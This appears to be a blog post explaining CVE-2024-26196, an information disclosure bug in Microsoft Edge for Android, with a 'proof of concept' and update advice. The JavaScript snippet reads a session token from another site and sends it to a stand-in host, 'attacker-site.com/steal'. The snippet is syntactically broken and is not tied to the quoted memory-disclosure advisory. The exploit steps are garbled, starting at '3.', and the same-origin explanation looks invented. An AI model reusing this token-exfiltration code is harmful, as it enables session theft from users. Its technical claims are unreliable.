CVE-2024-26196 - Microsoft Edge for Android Info Leak

In early 2024, security researchers uncovered a significant issue in Microsoft Edge for Android. Officially tracked as CVE-2024-26196, this Chromium-based browser information disclosure vulnerability could allow private data to leak from your device. In this post, I’ll explain how this flaw happens, show you a proof-of-concept, and break down the latest updates and patches – all in clear, simple language.

What Is CVE-2024-26196?

CVE-2024-26196 is a security bug in Microsoft Edge for Android, specifically in the way it handles some web content. The bug is related to Chromium, the browser engine behind Edge, Chrome, and others. When you visit a malicious webpage, this bug could allow attackers to read data they shouldn’t – for example, pieces of what you’ve viewed or typed in your browser.

Here’s the official Microsoft summary:
> An information disclosure vulnerability exists when Microsoft Edge (Chromium-based) for Android improperly discloses the contents of its memory.

Who’s At Risk?

If you use Edge on Android and haven’t updated since March 2024, you could be vulnerable. Attackers could create a crafted website or ad, and simply visiting it would put your private browser data at risk.

Exploit Details – How Attackers Could Use This

The essence of CVE-2024-26196 is that *webpages can sometimes access more data than intended*—things like session tokens, user credentials tied to a page, or even browser history fragments.

Simplified Technical Breakdown

This specific flaw is linked to mishandling of same-origin policies in Chromium’s rendering. Imagine a scenario where a website you’re visiting can, through trickery, read information intended only for a different site or context.

Code Snippet: Proof of Concept (Demo)

Here’s a simplified JavaScript exploit that could help attackers grab session data if the bug is present:

// Malicious site code to steal sessionStorage (if the browser allows it!)

fetch("https://victim-site.com/profile";, {credentials: "include"})
  .then(response => response.text())
  .then(data => {
      // Process and extract sensitive info:
      let tokenRegex = /sessionToken=(\w+)/;
      let match = tokenRegex.exec(data);
      if (match) {
        // Exfiltrate the token to attacker's server
        fetch("https://attacker-site.com/steal?token="; + match[1]);
      }
  });

*This would run within a malicious ad or site. If the browser flaw is present, it might be able to read data that should be private and send it out!*

Victim visits the site using Edge for Android.

3. Page code abuses the vulnerability to grab sensitive information from another website’s context or from browser storage.

How Was It Fixed?

Microsoft and the Chromium team released updated versions that patch this flaw. The patch tightens controls on memory disclosure and strengthens boundaries between webpage origins.

How To Protect Yourself

- Update Microsoft Edge from the Google Play Store – make sure you’re using version 124 or later.

More Technical References

- Official Microsoft Advisory
- Chromium Security Patch
- Edge Release Notes
- General Info on Same-Origin Policy

Final Thoughts

CVE-2024-26196 reminds us all that mobile browsers, just like desktop ones, can have dangerous vulnerabilities. If you’re using Edge for Android, update as soon as possible. Stay safe by keeping your apps current and watching out for suspicious links.

*If you found this breakdown helpful, consider sharing it with others using Edge on Android – awareness is key to safety online!*

Timeline

Published on: 03/21/2024 02:52:16 UTC
Last modified on: 04/01/2024 15:23:59 UTC